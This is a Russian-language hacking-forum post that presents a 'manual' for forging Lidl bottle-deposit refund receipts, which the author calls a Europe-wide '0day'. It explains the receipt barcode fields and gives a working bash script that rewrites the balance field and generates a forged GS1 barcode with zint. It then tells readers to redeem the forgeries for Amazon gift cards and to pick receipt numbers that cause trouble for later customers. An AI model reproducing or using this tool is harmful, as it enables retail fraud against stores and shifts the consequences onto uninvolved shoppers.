• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Европа, Корпы, Две банки Cola. (0day на деньги по всей Европе)

balala1ka

HDD-drive
Пользователь
Регистрация
12.06.2024
Сообщения
28
Реакции
15
Отступление
В большинстве стран ЕС действует гос-програма, которая нацелена на охранену окружающей среды.
1.jpg

Она функционирует за счет наогов и занимается разными областями и на самом деле весьма полезна.
Основная-же ее задача, это переработка и/или повторное использование продуктов: одежда, мебель, мусор, техника и тд.
Благодря этой програме, ЕС может вести экономическое сопротивление Азии.
Например, разная техника может переходить из рук в руки, что существенно ограничивает торговлю с Китаем, Тайванем, Японией.

Вступление
Абсолютно в любом магазине, при покупке товара в бутылке с макером, стоимоcть самой бутылки будет учтена при оплате.
2.jpg
Стоимоть завасит от метариала и размера бутылки. Обычно это 25 центов (пластик, 0.25l).
Саму бутылкупосле использования можно вернуть обратно в магазин(за цену их покупки), в автомат, который напечатает скидочный чек.
Компании обязаны иметь подоюбные автоматы, помомо этого, они получают бенефиты за их содержание.

3.jpg


Претензии
При покупке идёт дополнитльная оплата самой бутылки, а возврат ее через автомат дает купон на суму самой бутылки что была оплачена.
Заключение проблемы в том, что сам чек можно обналичить только в магазине/сети где и был получен чек(купон)!
Означает это то, что покупатель уходит в 0, однако должен повторно постеить эту торговую сеть для того, чтобы вернуть деньги за счёт покупки новых товаров.
Из этого следует, что сам чек имеет отрицательный баланс.

Уязвимость
Проблема: данные о ценности самого чека есть только на чеке!
Пример будет работать с сетью магазинов LIDL, однако по такой-же самой аналогии можно взломать любую другую сеть.
2012345612345123456
| | | |_______ Баланс
| | |______________Номер
| |______________________Локация
|_______________________Служебный байт
4.jpg

Данные есть только на чеке, а это значит, что их можно очень просто изменить.


Маленькая месть.
Отомстить толстосумам может каждый.
1. Сперва стоит купить любую минералку, после нещадно выпить ее и сдать в автомат.
Из кода нужна только локация и номер. Локация обязательна, а номер можно установить на тот, который будет еще не скоро. В будущем, у человека с этим номером буду проблемы.

2. Далее можно получить сгенерированную картинку.
Зависимости: zint(для генерация баркода).
Bash:
#!/bin/bash
echo "Creating SAVING"
read -p "Enter code: " uinput
echo ""
if [[ ! $uinput =~ ^[0-9]{19}$ ]]; then
  echo "Invalid"
else
  trimmed="${uinput:2}"
  location="${trimmed:0:6}"
  number="${trimmed:6:-6}"
  money="${trimmed: -6}"
  if [ "$money" != "000000" ]; then
  for ((i=0; i<3; i++)); do
    if [ "${money:0:1}" != "0" ]; then
      break
    fi
    money="${money#0*}"
  done
    if [ "${money: -2}" != "00" ]; then
    money="${money:0:-2},${money: -2}"
    fi
  else
    money="0"
  fi
  echo "Location: $location"
  echo "Number: $number"
  echo "Money: $money€"
  money="${money//[^0-9]/}"
fi
echo ""
echo "Creating CHEQUE"
read -p "Enter Location: " ulocation
read -p "Enter Number: " unumber
read -p "Enter Money(in Cetns): " umoney

if [ -z "$ulocation" ]; then
    ulocation=$location
fi
if [ -z "$unumber" ]; then
    unumber=$number
fi
if [ -z "$umoney" ]; then
    umoney=$money
fi
while [ ${#umoney} -lt 6 ]; do
    umoney="0$umoney"
done
final="$ulocation$unumber$umoney"
echo "New code: 20$final"
bash -c "zint -o 20${final}.png -d \"(20)${final}\" --barcode=16 --gs1parens --gs1nocheck --notext"

3. Советую взять каротчки для амазона или других сервисов. На кассе просто дайте телефон с баркодом.
4. Профит
5.jpg
 

Вложения

  • PGP.txt
    6.1 КБ · Просмотры: 51
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх